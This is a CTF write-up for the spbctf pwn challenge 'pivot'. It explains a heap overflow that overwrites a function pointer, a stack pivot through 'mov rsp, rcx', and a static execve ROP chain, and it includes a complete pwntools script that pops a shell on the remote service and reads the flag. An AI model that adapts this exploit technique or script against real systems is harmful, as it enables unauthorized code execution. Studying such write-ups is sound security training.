pivot (pevot)
pivot (pevot)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heap_overflow_funcptr_overwrite, leak_free_exploitation, stack_pivot_mov_rsp_rcx, static_execve_rop
Summary
Task: 64-bit statically-linked NON-PIE pwn binary with a heap overflow that overwrites a function pointer stored at chunk+0x200, which is then invoked via call r8 while RCX holds the heap-buffer base. Solution: overwrite the pointer with a mov rsp, rcx ; ret pivot to relocate the stack into the controlled heap buffer, then run a leak-free static execve("/bin/sh") ROP chain using glibc-embedded gadgets.
pivot (pevot) — pwn_spbctf
Description
pwn4 — "shellcoding". Binary:
pevot. Remote:nc 109.233.56.90 11616(pwn.spbctf.ru).
A 64-bit x86-64 ELF, statically linked (glibc baked in), NON-PIE, NX enabled,
with a stack canary in main (the canary is irrelevant to the heap code path).
The goal is to get a shell on the remote and read /flag. The task name pivot is the hint:
the intended solution is a stack pivot.
Analysis
The relevant logic in main (@ 0x401cd4):
rax = malloc(0x208)— allocate a heap chunk.- Store a pointer to a
cleanuproutine (0x401cad) at chunk+0x200. fgets(chunk, 0x1770, stdin)— read up to 0x1770 bytes into a 0x208-byte chunk. This is a massive heap overflow: the read length dwarfs the allocation, so we can freely overwrite the function pointer at chunk+0x200 (and everything around it).- Load
r8 = [chunk+0x200]and invokecall r8with the registers:edi = 0esi = 0xcafebabeedx = 0xdeadbeefrcx = chunk(the malloc'd base pointer!)r8 = [chunk+0x200](our controlled target)
Key insight
At the call r8 site we control both:
- the entire chunk contents (up to 0x1770 bytes via
fgets), and - the call target (the qword we wrote at chunk+0x200).
Crucially, RCX still holds the heap-buffer base at the call. There is no heap leak, but we don't need one — RCX hands us the heap base for free.
Why a single overwrite is not enough
Overwriting a called function pointer gives single-shot RIP control, not a ROP chain. To execute a full chain we must pivot the stack into the buffer we control. Since RCX already points at the heap buffer at the call site, the cleanest pivot is:
mov rsp, rcx ; ret ; (or: push rcx ; pop rsp ; ret)
After this gadget runs, RSP points at chunk[0], where we staged the ROP chain. The ret
then begins executing it.
Constraints
fgetsstops at a newline (0x0a) and NUL-terminates. The entire payload (ROP chain at chunk start + pivot pointer at chunk+0x200) must contain no 0x0a byte. All chosen gadget/string addresses happen to be newline-free.- Static + NON-PIE means every gadget, syscall, and the
/bin/shstring live at fixed virtual addresses — fully leak-free exploitation.
Solution
Build a leak-free execve("/bin/sh", NULL, NULL) ROP chain using static glibc gadgets.
The /bin/sh string is not at a clean newline-free fixed address in some builds, so the chain
first writes "/bin/sh\0" into writable .bss, then calls execve on it.
Gadgets (fixed static vaddrs, found via ROPgadget --binary pevot):
| Purpose | Address | Gadget |
|---|---|---|
| pivot | 0x47d414 | mov rsp, rcx ; ret |
| rdi | 0x4017e6 | pop rdi ; ret |
| rsi (+r15) | 0x4017e4 | pop rsi ; pop r15 ; ret |
| rdx | 0x4016fb | pop rdx ; ret |
| rax | 0x43f533 | pop rax ; ret |
| write mem | 0x43c18b | mov qword ptr [rdi], rsi ; ret |
| syscall | 0x40120b | syscall |
| .bss | 0x4ae240 | writable buffer for "/bin/sh\0" |
| |
Layout in the single fgets line:
- chunk[0x000 ..] — the ROP chain (lands under RSP after the pivot).
- chunk[0x200] — the function pointer =
PIVOT(mov rsp, rcx ; ret).
Flow: call r8 → pivot sets RSP = chunk → ret runs the chain → write /bin/sh to .bss →
execve("/bin/sh", 0, 0) → shell over the socket → cat /flag.
python read-only • copy allowed#!/usr/bin/env python3 # pevot (static, NON-PIE, NX). Heap overflow overwrites func ptr at chunk+0x200. # At `call r8`: r8 = our qword@0x200, rcx = heap chunk base (we control whole chunk). # Pivot: r8 = `mov rsp, rcx ; ret` (0x47d414) => rsp = chunk base => ROP chain runs from chunk[0]. # Chain: write "/bin/sh\0" to .bss, then execve("/bin/sh", 0, 0). from pwn import * import sys, time context.arch = 'amd64' context.log_level = 'warn' HOST, PORT = 'pwn.spbctf.ru', 11616 # gadgets (static, fixed vaddr) PIVOT = 0x47d414 # mov rsp, rcx ; ret POP_RDI = 0x4017e6 # pop rdi ; ret POP_RSI_R15 = 0x4017e4 # pop rsi ; pop r15 ; ret POP_RDX = 0x4016fb # pop rdx ; ret POP_RAX = 0x43f533 # pop rax ; ret SYSCALL = 0x40120b # syscall WRITE_RDI_RSI = 0x43c18b # mov qword ptr [rdi], rsi ; ret BSS = 0x4ae240 # writable .bss def build(): binsh = u64(b'/bin/sh\x00') chain = b'' # write "/bin/sh\0" to BSS chain += p64(POP_RDI) + p64(BSS) chain += p64(POP_RSI_R15) + p64(binsh) + p64(0) chain += p64(WRITE_RDI_RSI) # execve("/bin/sh", 0, 0) chain += p64(POP_RDI) + p64(BSS) chain += p64(POP_RSI_R15) + p64(0) + p64(0) chain += p64(POP_RDX) + p64(0) chain += p64(POP_RAX) + p64(0x3b) chain += p64(SYSCALL) assert len(chain) <= 0x200, hex(len(chain)) assert b'\x0a' not in chain, "newline in chain" buf = bytearray(b'\x00' * 0x208) buf[0:len(chain)] = chain # ROP chain at chunk start (RSP lands here) buf[0x200:0x208] = p64(PIVOT) # func ptr at chunk+0x200 -> pivot gadget assert b'\x0a' not in bytes(buf), "newline in buffer" return bytes(buf) def solve(): io = remote(HOST, PORT) io.send(build() + b'\n') time.sleep(0.5) io.sendline(b'id; echo ===MARK===; cat /flag; echo ===; ls -la /') time.sleep(1) return io, io.recv(timeout=3) if __name__ == '__main__': for attempt in range(15): try: io, out = solve() except Exception as ex: time.sleep(2); continue if out and b'spbctf{' in out: idx = out.find(b'spbctf{') print("FLAG:", out[idx:idx+80].decode(errors='replace')) io.close(); sys.exit(0) if out and b'uid=' in out: io.sendline(b'cat /flag 2>/dev/null; cat flag 2>/dev/null; ' b'find / -name "flag*" 2>/dev/null') time.sleep(1) more = io.recv(timeout=3) if b'spbctf{' in more: idx = more.find(b'spbctf{') print("FLAG:", more[idx:idx+80].decode(errors='replace')) io.close(); sys.exit(0) io.interactive() try: io.close() except: pass time.sleep(1.5)
After getting the shell over the socket, cat /flag returned the flag (a /bin/getflag
helper is also available if /flag isn't directly readable).